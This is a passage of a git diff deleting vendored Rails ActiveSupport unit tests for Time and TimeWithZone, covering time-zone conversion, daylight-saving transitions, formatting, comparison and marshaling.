-    assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
-    # This won't overflow on 64bit linux
-    unless time_is_64bits?
-      assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
-      assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1),
-                   DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
-      assert_equal ::Date::ITALY, Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).start # use Ruby's default start value
-    end
-  end
-
-  def test_utc_time
-    assert_equal Time.utc_time(2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
-    assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
-    assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0, 0)
-  end
-
-  def test_local_time
-    assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
-    assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
-
-    unless time_is_64bits?
-      assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
-    end
-  end
-
-  def test_last_month_is_deprecated
-    assert_deprecated { Time.now.last_month }
-  end
-
-  def test_next_month_on_31st
-    assert_equal Time.local(2005, 9, 30), Time.local(2005, 8, 31).next_month
-  end
-
-  def test_prev_month_on_31st
-    assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).prev_month
-  end
-
-  def test_xmlschema_is_available
-    assert_nothing_raised { Time.now.xmlschema }
-  end
-
-  def test_today_with_time_local
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, Time.local(1999,12,31,23,59,59).today?
-    assert_equal true,  Time.local(2000,1,1,0).today?
-    assert_equal true,  Time.local(2000,1,1,23,59,59).today?
-    assert_equal false, Time.local(2000,1,2,0).today?
-  end
-
-  def test_today_with_time_utc
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, Time.utc(1999,12,31,23,59,59).today?
-    assert_equal true,  Time.utc(2000,1,1,0).today?
-    assert_equal true,  Time.utc(2000,1,1,23,59,59).today?
-    assert_equal false, Time.utc(2000,1,2,0).today?
-  end
-
-  def test_past_with_time_current_as_time_local
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
-      assert_equal true,  Time.local(2005,2,10,15,30,44).past?
-      assert_equal false,  Time.local(2005,2,10,15,30,45).past?
-      assert_equal false,  Time.local(2005,2,10,15,30,46).past?
-      assert_equal true,  Time.utc(2005,2,10,20,30,44).past?
-      assert_equal false,  Time.utc(2005,2,10,20,30,45).past?
-      assert_equal false,  Time.utc(2005,2,10,20,30,46).past?
-    end
-  end
-
-  def test_past_with_time_current_as_time_with_zone
-    with_env_tz 'US/Eastern' do
-      twz = Time.utc(2005,2,10,15,30,45).in_time_zone('Central Time (US & Canada)')
-      Time.stubs(:current).returns(twz)
-      assert_equal true,  Time.local(2005,2,10,10,30,44).past?
-      assert_equal false,  Time.local(2005,2,10,10,30,45).past?
-      assert_equal false,  Time.local(2005,2,10,10,30,46).past?
-      assert_equal true,  Time.utc(2005,2,10,15,30,44).past?
-      assert_equal false,  Time.utc(2005,2,10,15,30,45).past?
-      assert_equal false,  Time.utc(2005,2,10,15,30,46).past?
-    end
-  end
-
-  def test_future_with_time_current_as_time_local
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
-      assert_equal false,  Time.local(2005,2,10,15,30,44).future?
-      assert_equal false,  Time.local(2005,2,10,15,30,45).future?
-      assert_equal true,  Time.local(2005,2,10,15,30,46).future?
-      assert_equal false,  Time.utc(2005,2,10,20,30,44).future?
-      assert_equal false,  Time.utc(2005,2,10,20,30,45).future?
-      assert_equal true,  Time.utc(2005,2,10,20,30,46).future?
-    end
-  end
-
-  def test_future_with_time_current_as_time_with_zone
-    with_env_tz 'US/Eastern' do
-      twz = Time.utc(2005,2,10,15,30,45).in_time_zone('Central Time (US & Canada)')
-      Time.stubs(:current).returns(twz)
-      assert_equal false,  Time.local(2005,2,10,10,30,44).future?
-      assert_equal false,  Time.local(2005,2,10,10,30,45).future?
-      assert_equal true,  Time.local(2005,2,10,10,30,46).future?
-      assert_equal false,  Time.utc(2005,2,10,15,30,44).future?
-      assert_equal false,  Time.utc(2005,2,10,15,30,45).future?
-      assert_equal true,  Time.utc(2005,2,10,15,30,46).future?
-    end
-  end
-
-  def test_acts_like_time
-    assert Time.new.acts_like_time?
-  end
-
-  def test_formatted_offset_with_utc
-    assert_equal '+00:00', Time.utc(2000).formatted_offset
-    assert_equal '+0000', Time.utc(2000).formatted_offset(false)
-    assert_equal 'UTC', Time.utc(2000).formatted_offset(true, 'UTC')
-  end
-
-  def test_formatted_offset_with_local
-    with_env_tz 'US/Eastern' do
-      assert_equal '-05:00', Time.local(2000).formatted_offset
-      assert_equal '-0500', Time.local(2000).formatted_offset(false)
-      assert_equal '-04:00', Time.local(2000, 7).formatted_offset
-      assert_equal '-0400', Time.local(2000, 7).formatted_offset(false)
-    end
-  end
-
-  def test_compare_with_time
-    assert_equal  1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999)
-    assert_equal  0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
-    assert_equal(-1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0, 001))
-  end
-
-  def test_compare_with_datetime
-    assert_equal  1, Time.utc(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
-    assert_equal(-1, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
-  end
-
-  def test_compare_with_time_with_zone
-    assert_equal  1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone['UTC'] )
-    assert_equal  0, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC'] )
-    assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
-  end
-
-  def test_minus_with_time_with_zone
-    assert_equal  86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
-  end
-  
-  def test_minus_with_datetime
-    assert_equal  86_400.0, Time.utc(2000, 1, 2) - DateTime.civil(2000, 1, 1)
-  end
-
-  def test_time_created_with_local_constructor_cannot_represent_times_during_hour_skipped_by_dst
-    with_env_tz 'US/Eastern' do
-      # On Apr 2 2006 at 2:00AM in US, clocks were moved forward to 3:00AM.
-      # Therefore, 2AM EST doesn't exist for this date; Time.local fails over to 3:00AM EDT
-      assert_equal Time.local(2006, 4, 2, 3), Time.local(2006, 4, 2, 2)
-      assert Time.local(2006, 4, 2, 2).dst?
-    end
-  end
-
-  def test_case_equality
-    assert Time === Time.utc(2000)
-    assert Time === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC'])
-    assert_equal false, Time === DateTime.civil(2000)
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-
-    def time_is_64bits?
-      Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).is_a?(Time)
-    end
-end
-
-class TimeExtMarshalingTest < Test::Unit::TestCase
-  def test_marshaling_with_utc_instance
-    t = Time.utc(2000)
-    marshaled = Marshal.dump t
-    unmarshaled = Marshal.load marshaled
-    assert_equal t, unmarshaled
-    assert_equal t.zone, unmarshaled.zone
-  end
-
-  def test_marshaling_with_local_instance
-    t = Time.local(2000)
-    marshaled = Marshal.dump t
-    unmarshaled = Marshal.load marshaled
-    assert_equal t, unmarshaled
-    assert_equal t.zone, unmarshaled.zone
-  end
-
-  def test_marshaling_with_frozen_utc_instance
-    t = Time.utc(2000).freeze
-    marshaled = Marshal.dump t
-    unmarshaled = Marshal.load marshaled
-    assert_equal t, unmarshaled
-    assert_equal t.zone, unmarshaled.zone
-  end
-
-  def test_marshaling_with_frozen_local_instance
-    t = Time.local(2000).freeze
-    marshaled = Marshal.dump t
-    unmarshaled = Marshal.load marshaled
-    assert_equal t, unmarshaled
-    assert_equal t.zone, unmarshaled.zone
-  end
-
-  def test_marshaling_does_not_modify_source_object
-    t = Time.local(2000)
-    Marshal.dump t
-    assert_equal false, t.instance_variable_defined?('@marshal_with_utc_coercion')
-  end
-
-  def test_marshaling_does_not_affect_yaml_dump
-    t = Time.local(2000)
-    t2 = t.dup
-    marshaled = Marshal.dump t2
-    unmarshaled = Marshal.load marshaled
-    assert_equal t.to_yaml, unmarshaled.to_yaml
-  end
-
-end
diff --git a/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb b/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb
deleted file mode 100644
index d800c9d7..00000000
--- a/vendor/rails/activesupport/test/core_ext/time_with_zone_test.rb
+++ /dev/null
@@ -1,851 +0,0 @@
-require 'abstract_unit'
-
-class TimeWithZoneTest < Test::Unit::TestCase
-
-  def setup
-    @utc = Time.utc(2000, 1, 1, 0)
-    @time_zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
-    @twz = ActiveSupport::TimeWithZone.new(@utc, @time_zone)
-  end
-
-  def test_utc
-    assert_equal @utc, @twz.utc
-  end
-
-  def test_time
-    assert_equal Time.utc(1999, 12, 31, 19), @twz.time
-  end
-
-  def test_time_zone
-    assert_equal @time_zone, @twz.time_zone
-  end
-
-  def test_in_time_zone
-    Time.use_zone 'Alaska' do
-      assert_equal ActiveSupport::TimeWithZone.new(@utc, ActiveSupport::TimeZone['Alaska']), @twz.in_time_zone
-    end
-  end
-
-  def test_in_time_zone_with_argument
-    assert_equal ActiveSupport::TimeWithZone.new(@utc, ActiveSupport::TimeZone['Alaska']), @twz.in_time_zone('Alaska')
-  end
-
-  def test_in_time_zone_with_new_zone_equal_to_old_zone_does_not_create_new_object
-    assert_equal @twz.object_id, @twz.in_time_zone(ActiveSupport::TimeZone['Eastern Time (US & Canada)']).object_id
-  end
-
-  def test_utc?
-    assert_equal false, @twz.utc?
-    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']).utc?
-  end
-
-  def test_formatted_offset
-    assert_equal '-05:00', @twz.formatted_offset
-    assert_equal '-04:00', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst
-  end
-
-  def test_dst?
-    assert_equal false, @twz.dst?
-    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst?
-  end
-
-  def test_zone
-    assert_equal 'EST', @twz.zone
-    assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
-  end
-
-  def test_to_json
-    assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(@twz)
-  end
-
-  def test_to_json_with_use_standard_json_time_format_config_set_to_true
-    old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, true
-    assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(@twz)
-  ensure
-    ActiveSupport.use_standard_json_time_format = old
-  end
-
-  def test_strftime
-    assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
-  end
-
-  def test_inspect
-    assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect
-  end
-
-  def test_to_s
-    assert_equal '1999-12-31 19:00:00 -0500', @twz.to_s
-  end
-
-  def test_to_formatted_s
-    assert_equal '1999-12-31 19:00:00 -0500', @twz.to_formatted_s
-  end
-
-  def test_to_s_db
-    assert_equal '2000-01-01 00:00:00', @twz.to_s(:db)
-  end
-
-  def test_xmlschema
-    assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema
-  end
-
-  def test_xmlschema_with_fractional_seconds
-    @twz += 0.1234560001 # advance the time by a fraction of a second
-    assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3)
-    assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6)
-    assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12)
-  end
-
-  def test_to_yaml
-    assert_equal "--- 1999-12-31 19:00:00 -05:00\n", @twz.to_yaml
-  end
-
-  def test_ruby_to_yaml
-    assert_equal "--- \n:twz: 2000-01-01 00:00:00 Z\n", {:twz => @twz}.to_yaml
-  end
-
-  def test_httpdate
-    assert_equal 'Sat, 01 Jan 2000 00:00:00 GMT', @twz.httpdate
-  end
-
-  def test_rfc2822
-    assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822
-  end
-
-  def test_compare_with_time
-    assert_equal  1, @twz <=> Time.utc(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, @twz <=> Time.utc(2000, 1, 1, 0, 0, 0)
-    assert_equal(-1, @twz <=> Time.utc(2000, 1, 1, 0, 0, 1))
-  end
-
-  def test_compare_with_datetime
-    assert_equal  1, @twz <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
-    assert_equal(-1, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
-  end
-
-  def test_compare_with_time_with_zone
-    assert_equal  1, @twz <=> ActiveSupport::TimeWithZone.new( Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone['UTC'] )
-    assert_equal  0, @twz <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC'] )
-    assert_equal(-1, @twz <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
-  end
-
-  def test_between?
-    assert @twz.between?(Time.utc(1999,12,31,23,59,59), Time.utc(2000,1,1,0,0,1))
-    assert_equal false, @twz.between?(Time.utc(2000,1,1,0,0,1), Time.utc(2000,1,1,0,0,2))
-  end
-
-  def test_today
-    Date.stubs(:current).returns(Date.new(2000, 1, 1))
-    assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(1999,12,31,23,59,59) ).today?
-    assert_equal true,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,0) ).today?
-    assert_equal true,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,23,59,59) ).today?
-    assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,2,0) ).today?
-  end
-
-  def test_past_with_time_current_as_time_local
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
-      assert_equal true,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past?
-      assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past?
-      assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past?
-    end
-  end
-
-  def test_past_with_time_current_as_time_with_zone
-    twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) )
-    Time.stubs(:current).returns(twz)
-    assert_equal true,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past?
-    assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past?
-    assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past?
-  end
-
-  def test_future_with_time_current_as_time_local
-    with_env_tz 'US/Eastern' do
-      Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
-      assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future?
-      assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future?
-      assert_equal true,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future?
-    end
-  end
-
-  def future_with_time_current_as_time_with_zone
-    twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) )
-    Time.stubs(:current).returns(twz)
-    assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future?
-    assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future?
-    assert_equal true,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future?
-  end
-
-  def test_eql?
-    assert @twz.eql?(Time.utc(2000))
-    assert @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
-  end
-
-  def test_plus_with_integer
-    assert_equal Time.utc(1999, 12, 31, 19, 0 ,5), (@twz + 5).time
-  end
-
-  def test_plus_with_integer_when_self_wraps_datetime
-    datetime = DateTime.civil(2000, 1, 1, 0)
-    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
-    assert_equal DateTime.civil(1999, 12, 31, 19, 0 ,5), (twz + 5).time
-  end
-
-  def test_plus_when_crossing_time_class_limit
-    twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone)
-    assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0,6]
-  end
-
-  def test_plus_with_duration
-    assert_equal Time.utc(2000, 1, 5, 19, 0 ,0), (@twz + 5.days).time
-  end
-
-  def test_minus_with_integer
-    assert_equal Time.utc(1999, 12, 31, 18, 59 ,55), (@twz - 5).time
-  end
-
-  def test_minus_with_integer_when_self_wraps_datetime
-    datetime = DateTime.civil(2000, 1, 1, 0)
-    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
-    assert_equal DateTime.civil(1999, 12, 31, 18, 59 ,55), (twz - 5).time
-  end
-
-  def test_minus_with_duration
-    assert_equal Time.utc(1999, 12, 26, 19, 0 ,0), (@twz - 5.days).time
-  end
-
-  def test_minus_with_time
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['Hawaii'] ) - Time.utc(2000, 1, 1)
-  end
-
-  def test_minus_with_time_with_zone
-    twz1 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
-    twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] )
-    assert_equal  86_400.0,  twz2 - twz1
-  end
-
-  def test_minus_with_datetime
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
-  end
-
-  def test_minus_with_wrapped_datetime
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
-    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
-  end
-
-  def test_plus_and_minus_enforce_spring_dst_rules
-    utc = Time.utc(2006,4,2,6,59,59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start
-    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
-    assert_equal Time.utc(2006,4,2,1,59,59), twz.time
-    assert_equal false, twz.dst?
-    assert_equal 'EST', twz.zone
-    twz = twz + 1
-    assert_equal Time.utc(2006,4,2,3), twz.time # adding 1 sec springs forward to 3:00AM EDT
-    assert_equal true, twz.dst?
-    assert_equal 'EDT', twz.zone
-    twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST
-    assert_equal Time.utc(2006,4,2,1,59,59), twz.time
-    assert_equal false, twz.dst?
-    assert_equal 'EST', twz.zone
-  end
-
-  def test_plus_and_minus_enforce_fall_dst_rules
-    utc = Time.utc(2006,10,29,5,59,59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end
-    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
-    assert_equal Time.utc(2006,10,29,1,59,59), twz.time
-    assert_equal true, twz.dst?
-    assert_equal 'EDT', twz.zone
-    twz = twz + 1
-    assert_equal Time.utc(2006,10,29,1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST
-    assert_equal false, twz.dst?
-    assert_equal 'EST', twz.zone
-    twz = twz - 1
-    assert_equal Time.utc(2006,10,29,1,59,59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT
-    assert_equal true, twz.dst?
-    assert_equal 'EDT', twz.zone
-  end
-
-  def test_to_a
-    assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new( Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone['Hawaii'] ).to_a
-  end
-
-  def test_to_f
-    result = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii'] ).to_f
-    assert_equal 946684800.0, result
-    assert result.is_a?(Float)
-  end
-
-  def test_to_i
-    result = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii'] ).to_i
-    assert_equal 946684800, result
-    assert result.is_a?(Integer)
-  end
-
-  def test_to_i_with_wrapped_datetime
-    datetime = DateTime.civil(2000, 1, 1, 0)
-    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
-    assert_equal 946684800, twz.to_i
-  end
-
-  def test_to_time
-    assert_equal @twz, @twz.to_time
-  end
-
-  def test_to_date
-    # 1 sec before midnight Jan 1 EST
-    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
-    # midnight Jan 1 EST
-    assert_equal Date.new(2000,  1,  1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 5,  0,  0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
-    # 1 sec before midnight Jan 2 EST
-    assert_equal Date.new(2000,  1,  1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
-    # midnight Jan 2 EST
-    assert_equal Date.new(2000,  1,  2), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 5,  0,  0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
-  end
-
-  def test_to_datetime
-    assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)),  @twz.to_datetime
-  end
-
-  def test_acts_like_time
-    assert @twz.acts_like?(:time)
-    assert ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:time)
-  end
-
-  def test_acts_like_date
-    assert_equal false, @twz.acts_like?(:date)
-    assert_equal false, ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:date)
-  end
-
-  def test_is_a
-    assert @twz.is_a?(Time)
-    assert @twz.kind_of?(Time)
-    assert @twz.is_a?(ActiveSupport::TimeWithZone)
-  end
-
-  def test_method_missing_with_time_return_value
-    assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1)
-    assert_equal Time.utc(2000, 1, 31, 19, 0 ,0), @twz.months_since(1).time
-  end
-
-  def test_marshal_dump_and_load
-    marshal_str = Marshal.dump(@twz)
-    mtime = Marshal.load(marshal_str)
-    assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
-    assert mtime.utc.utc?
-    assert_equal ActiveSupport::TimeZone['Eastern Time (US & Canada)'], mtime.time_zone
-    assert_equal Time.utc(1999, 12, 31, 19), mtime.time
-    assert mtime.time.utc?
-    assert_equal @twz.inspect, mtime.inspect
-  end
-
-  def test_marshal_dump_and_load_with_tzinfo_identifier
-    twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get('America/New_York'))
-    marshal_str = Marshal.dump(twz)
-    mtime = Marshal.load(marshal_str)
-    assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
-    assert mtime.utc.utc?
-    assert_equal 'America/New_York', mtime.time_zone.name
-    assert_equal Time.utc(1999, 12, 31, 19), mtime.time
-    assert mtime.time.utc?
-    assert_equal @twz.inspect, mtime.inspect
-  end
-
-  def test_freeze
-    @twz.freeze
-    assert @twz.frozen?
-  end
-
-  def test_freeze_preloads_instance_variables
-    @twz.freeze
-    assert_nothing_raised do
-      @twz.period
-      @twz.time
-    end
-  end
-
-  def test_method_missing_with_non_time_return_value
-    @twz.time.expects(:foo).returns('bar')
-    assert_equal 'bar', @twz.foo
-  end
-
-  def test_date_part_value_methods
-    twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone)
-    twz.expects(:method_missing).never
-    assert_equal 1999, twz.year
-    assert_equal 12, twz.month
-    assert_equal 31, twz.day
-    assert_equal 14, twz.hour
-    assert_equal 18, twz.min
-    assert_equal 17, twz.sec
-    assert_equal 500, twz.usec
-    assert_equal 5, twz.wday
-    assert_equal 365, twz.yday
-  end
-
-  def test_usec_returns_0_when_datetime_is_wrapped
-    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
-    assert_equal 0, twz.usec
-  end
-
-  def test_utc_to_local_conversion_saves_period_in_instance_variable
-    assert_nil @twz.instance_variable_get('@period')
-    @twz.time
-    assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get('@period')
-  end
-
-  def test_instance_created_with_local_time_returns_correct_utc_time
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19))
-    assert_equal Time.utc(2000), twz.utc
-  end
-
-  def test_instance_created_with_local_time_enforces_spring_dst_rules
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,2)) # first second of DST
-    assert_equal Time.utc(2006,4,2,3), twz.time # springs forward to 3AM
-    assert_equal true, twz.dst?
-    assert_equal 'EDT', twz.zone
-  end
-
-  def test_instance_created_with_local_time_enforces_fall_dst_rules
-    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,1)) # 1AM can be either DST or non-DST; we'll pick DST
-    assert_equal Time.utc(2006,10,29,1), twz.time
-    assert_equal true, twz.dst?
-    assert_equal 'EDT', twz.zone
-  end
-
-  def test_ruby_19_weekday_name_query_methods
-    ruby_19_or_greater = RUBY_VERSION >= '1.9'
-    %w(sunday? monday? tuesday? wednesday? thursday? friday? saturday?).each do |name|
-      assert_equal ruby_19_or_greater, @twz.respond_to?(name)
-    end
-  end
-
-  def test_utc_to_local_conversion_with_far_future_datetime
-    assert_equal [0,0,19,31,12,2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0,6]
-  end
-
-  def test_local_to_utc_conversion_with_far_future_datetime
-    assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049,12,31,19)).to_f
-  end
-
-  def test_change
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.change(:year => 2001).inspect
-    assert_equal "Wed, 31 Mar 1999 19:00:00 EST -05:00", @twz.change(:month => 3).inspect
-    assert_equal "Wed, 03 Mar 1999 19:00:00 EST -05:00", @twz.change(:month => 2).inspect
-    assert_equal "Wed, 15 Dec 1999 19:00:00 EST -05:00", @twz.change(:day => 15).inspect
-    assert_equal "Fri, 31 Dec 1999 06:00:00 EST -05:00", @twz.change(:hour => 6).inspect
-    assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.change(:min => 15).inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(:sec => 30).inspect
-  end
-
-  def test_advance
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(:years => 2).inspect
-    assert_equal "Fri, 31 Mar 2000 19:00:00 EST -05:00", @twz.advance(:months => 3).inspect
-    assert_equal "Tue, 04 Jan 2000 19:00:00 EST -05:00", @twz.advance(:days => 4).inspect
-    assert_equal "Sat, 01 Jan 2000 01:00:00 EST -05:00", @twz.advance(:hours => 6).inspect
